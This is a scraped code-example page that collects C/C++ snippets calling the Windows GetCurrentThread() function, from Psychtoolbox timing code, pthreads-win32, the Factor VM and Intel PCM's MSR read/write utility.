		// tight busy-wait transition thresholds and doesn't burn too much
		// CPU time. The timeGetTime() function then gets sufficient granularity -
		// 1 msecs - to be a good reference for our correctness/consistency
		// checks on the high precision timer, and it is a sufficient fallback
		// in case of broken timers.
		// The drawback is increased general interrupt load due to the 1 kHZ IRQ's...
    	if ((timeBeginPeriod(1)!=TIMERR_NOERROR) && (schedulingtrouble == FALSE)) {
		  	// High precision mode failed! Output warning on first failed invocation...
		  	schedulingtrouble = TRUE;
        	printf("PTBCRITICAL -ERROR: PsychTimeGlue - Win32 syscall timeBeginPeriod(1) failed!!! Timing will be inaccurate.\n");
        	printf("PTBCRITICAL -ERROR: Time measurement may be highly unreliable - or even false!!!\n");
        	printf("PTBCRITICAL -ERROR: FIX YOUR SYSTEM! In its current state its not useable for conduction of studies!!!\n");
        	printf("PTBCRITICAL -ERROR: Check the FAQ section of the Psychtoolbox Wiki for more information.\n");

		  	// Increase switching threshold to 10 msecs to take low timer resolution into account:
		  	sleepwait_threshold = 0.010;
    	}    

	 	// This command timeEndPeriod(1); should be used when flushing the MEX file, but
		// we don't do it. Once a PsychTimeGlue function was called, we leave Matlab at
		// high timing precision mode and rely on the OS to revert to standard Windoze
		// behaviour, once the Matlab application is quit/terminated.

		// Next step for broken systems: Bind our Matlab interpreter/PTB main thread to the
		// first cpu core in the system. The only known way to make sure we don't get time
		// readings from different TSCs due to our thread jumping between cpu's. TSC's on
		// a multi-core system are not guaranteed to be synchronized, so if TSC is our timebase,
		// this could lead to time inconsistencies - even time going backwards between queries!!!
		// Drawback: We may not make optimal use of a multi-core system.
		if (SetThreadAffinityMask(GetCurrentThread(), 1)==0) {
		  	// Binding failed! Output warning on first failed invocation...
		  	schedulingtrouble = TRUE;
        	printf("PTBCRITICAL -ERROR: PsychTimeGlue - Win32 syscall SetThreadAffinityMask() failed!!! Timing could be inaccurate.\n");
        	printf("PTBCRITICAL -ERROR: Time measurement may be highly unreliable - or even false!!!\n");
        	printf("PTBCRITICAL -ERROR: FIX YOUR SYSTEM! In its current state its not useable for conduction of studies!!!\n");
        	printf("PTBCRITICAL -ERROR: Check the FAQ section of the Psychtoolbox Wiki for more information.\n");
		}
		
		// Spin-Wait until timeGetTime() has switched to 1 msec resolution:
		hangcount = 0;
		while(hangcount < 100) {
			tick1 = (int) timeGetTime();
			while((tick2=(int) timeGetTime()) == tick1);
			if (tick2 - tick1 == 1) break;
			hangcount++;
		}

		if (hangcount >= 100) {
			// Totally foobared system! Output another warning but try to go on. Checks further below in code
			// will trigger and provide counter measures - as far as this is possible with such a screwed system :-(
			printf("PTB-CRITICAL WARNING! Timing code detected problems with the low precision TIMER in your system hardware!\n");
			printf("PTB-CRITICAL WARNING! It doesn't run at the requested rate of 1 tick per millisecond. Interrupt problems?!?\n");
			printf("PTB-CRITICAL WARNING! Your system is somewhat screwed up wrt. timing!\n");
			printf("PTB-CRITICAL WARNING! It is NOT RECOMMENDED to continue using this machine for studies that require high\n");
			printf("PTB-CRITICAL WARNING! timing precision in stimulus onset or response collection. No guarantees can be made\n");
			printf("PTB-CRITICAL WARNING! wrt. to timing or correctness of any timestamps or stimulus onsets!\n");
			printf("PTB-CRITICAL WARNING! Check the FAQ section of the Psychtoolbox Wiki for more information.\n\n");
		}

		// Ok, now timeGetTime() should have the requested 1 msec increment rate.
		oldRawticks = -1;

		// Ok, this is a dumb solution, but at least sort of robust. The
		// proper solution will have to wait for the next 'beta' release cycle.
		// We don't allow to use any timing function on a Windoze system that
		// has more than 48 days of uptime. Rationale: At 49.8 days, the 32 bit
		// tick counter will wrap around and leave our fallback- and reference
		// timebase in an undefined state. Implementing proper wraparound handling
		// for inifinite uptimes is not simple, due to PTB's modular nature and
		// some special flaws of Windoze. Anyway, 48 days uptime is unlikely
		// anyway, unless the user doesn't perform regular system updates...
		if (((double) timeGetTime() * 0.001) > (3600 * 24 * 48)) {
			// Uptime exceeds 48 days. Say user this is a no no:
			printf("PTB-ERROR: Your system is running since over 48 days without a reboot. Due to some\n");
			printf("PTB-ERROR: pretty disgusting design flaws in the Windows operating system, timing\n");
			printf("PTB-ERROR: will become unreliable or wrong at uptimes of more than 49 days.\n");
			printf("PTB-ERROR: Therefore PTB will not continue executing any time related function unless\n");
			printf("PTB-ERROR: you reboot your machine now.\n\n");
//.........这里部分代码省略.........
开发者ID:BackupTheBerlios,项目名称:osxptb-svn,代码行数:101,代码来源:PsychTimeGlue.c


示例14: pthread_self

pthread_t
pthread_self (void)
     /*
      * ------------------------------------------------------
      * DOCPUBLIC
      *      This function returns a reference to the current running
      *      thread.
      *
      * PARAMETERS
      *      N/A
      *
      *
      * DESCRIPTION
      *      This function returns a reference to the current running
      *      thread.
      *
      * RESULTS
      *              pthread_t       reference to the current thread
      *
      * ------------------------------------------------------
      */
{
  pthread_t self;

#ifdef _UWIN
  if (!ptw32_selfThreadKey)
    return (NULL);
#endif

  self = (pthread_t) pthread_getspecific (ptw32_selfThreadKey);

  if (self == NULL)
    {
      /*
       * Need to create an implicit 'self' for the currently
       * executing thread.
       */
      self = ptw32_new ();

      if (self != NULL)
	{
	  /*
	   * This is a non-POSIX thread which has chosen to call
	   * a POSIX threads function for some reason. We assume that
	   * it isn't joinable, but we do assume that it's
	   * (deferred) cancelable.
	   */
	  self->implicit = 1;
	  self->detachState = PTHREAD_CREATE_DETACHED;
	  self->thread = GetCurrentThreadId ();

#ifdef NEED_DUPLICATEHANDLE
	  /*
	   * DuplicateHandle does not exist on WinCE.
	   *
	   * NOTE:
	   * GetCurrentThread only returns a pseudo-handle
	   * which is only valid in the current thread context.
	   * Therefore, you should not pass the handle to
	   * other threads for whatever purpose.
	   */
	  self->threadH = GetCurrentThread ();
#else
	  if (!DuplicateHandle (GetCurrentProcess (),
				GetCurrentThread (),
				GetCurrentProcess (),
				&self->threadH,
				0, FALSE, DUPLICATE_SAME_ACCESS))
	    {
	      /* Thread structs are never freed. */
	      ptw32_threadReusePush (self);
	      return (NULL);
	    }
#endif

	  /*
	   * No need to explicitly serialise access to sched_priority
	   * because the new handle is not yet public.
	   */
	  self->sched_priority = GetThreadPriority (self->threadH);
	}

      pthread_setspecific (ptw32_selfThreadKey, self);
    }

  return (self);

}				/* pthread_self */
开发者ID:Schiiiiins,项目名称:lcu1,代码行数:88,代码来源:pthread_self.c


示例15: thread_id

inline static THREADHANDLE thread_id() { return GetCurrentThread(); }
开发者ID:inforichland,项目名称:factor-id3,代码行数:1,代码来源:os-windows-nt.hpp


示例16: main

int main(int argc, char * argv[])
{
    std::cout << "\n Intel(r) Performance Counter Monitor " << INTEL_PCM_VERSION << std::endl;
    std::cout << "\n MSR read/write utility\n\n";
    
    uint64 value = 0;
    bool write = false;
    int core = 0;
    int msr = -1;
    bool dec = false;

	int my_opt = -1;
	while ((my_opt = getopt(argc, argv, "w:c:d")) != -1)
	{
		switch(my_opt)
		{
			case 'w':
                                write = true;
				value = read_number(optarg);
				break;
			case 'c':
				core = (int) read_number(optarg);
				break;
                        case 'd':
                                dec = true;
                                break;
			default:
				print_usage(argv[0]);
				return -1;
		}
	}

	 if (optind >= argc)
	 {
		 print_usage(argv[0]);
		 return -1;
	 }

    msr = (int) read_number(argv[optind]);

    #ifdef OK_WIN_BUILD
    // Increase the priority a bit to improve context switching delays on Windows
    SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_ABOVE_NORMAL);

    TCHAR driverPath[1032];
    GetCurrentDirectory(1024, driverPath);
    wcscat_s(driverPath, 1032, L"\\msr.sys");

    // WARNING: This driver code (msr.sys) is only for testing purposes, not for production use
    Driver drv;
    // drv.stop();     // restart driver (usually not needed)
    if (!drv.start(driverPath))
    {
		std::cout << "Can not load MSR driver." << std::endl;
		std::cout << "You must have signed msr.sys driver in your current directory and have administrator rights to run this program" << std::endl;
        return -1;
    }
    #endif

    MsrHandle h(core);
    if(!dec) std::cout << std::hex << std::showbase;
    if(write)
    {
        std::cout << " Writing "<< value << " to MSR "<< msr << " on core "<< core << std::endl;
        h.write(msr,value);
    }
    value = 0;
    h.read(msr,&value);
    std::cout << " Read value "<< value << " from MSR "<< msr << " on core "<< core << "\n" << std::endl;
}
开发者ID:Hope1993,项目名称:pbdPAPI,代码行数:70,代码来源:pcm-msr.cpp


示例17: cs_operate

该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
C++ GetCurrentThreadId函数代码示例发布时间:2022-05-30
下一篇:
C++ GetCurrentTask函数代码示例发布时间:2022-05-30
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap